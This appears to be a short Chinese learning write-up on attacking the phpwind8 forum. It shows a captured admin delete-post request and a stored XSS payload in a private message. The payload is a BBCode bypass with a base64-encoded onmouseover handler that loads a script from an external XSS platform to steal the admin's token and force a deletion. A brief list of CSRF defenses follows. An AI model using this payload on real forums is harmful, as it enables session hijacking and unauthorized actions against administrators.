一、准备工作
刚学习了CSRF,找了个倒霉蛋--phpwind8先试下,phpwind8是个比较主流的论坛框架。为了知道删除帖子的数据包格式(因为只有管理员可见)。所以官网下个,自己搭一个,找到删除操作,代理,Burp suite抓包,一气呵成。哼!
二、分析删帖包
POST /phpwind8/mawhole.php?
HTTP/1.1Host:10.96.127.32
verify=57434894&action=del&fid=45&step=2&tidarray%5B%5D=1513&ifdel=1&ifmsg=1&atc_content=%B9%E3%B8%E6%CC%FB&Submit=%CC%E1+%BD%BB
分析结构发现其中verify 每个管理员都不一样,很难受!为了得倒这个verify,继续XSS漏洞寻找。
三、XSS注入
思路是给管理员私信,进行一个反射的XSS,将verify反射到XSS平台上。
1)POST包构建--del.js
2)放到XSS平台上
3)给管理员私信--XSS富文本绕过
思路:把图片插入到url格式里,并把链接用Base64转码。当管理员鼠标滑过私信,则平台获得verify,POST删帖成功!
[url]http://www.[img]aaaaaaaa.org"onmouseover=eval(atob(`cz1jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTtzLnNyYz0naHR0cDovL3hzc3B0LmNvbS9BOWh1Znk/MTUyODk1NTM3OCc7Ym9keS5hcHBlbmRDaGlsZChzKSAK`));//[/img][/url]
四、CSRF的防御
从漏洞原理来看
•关键操作增加验证码(比如说支付密码)
•验证referer
•使用anti CSRF Token
从漏洞利用前提条件来看
•用户需要养成访问完一个网站之后,点击退出帐户的好习惯
网友评论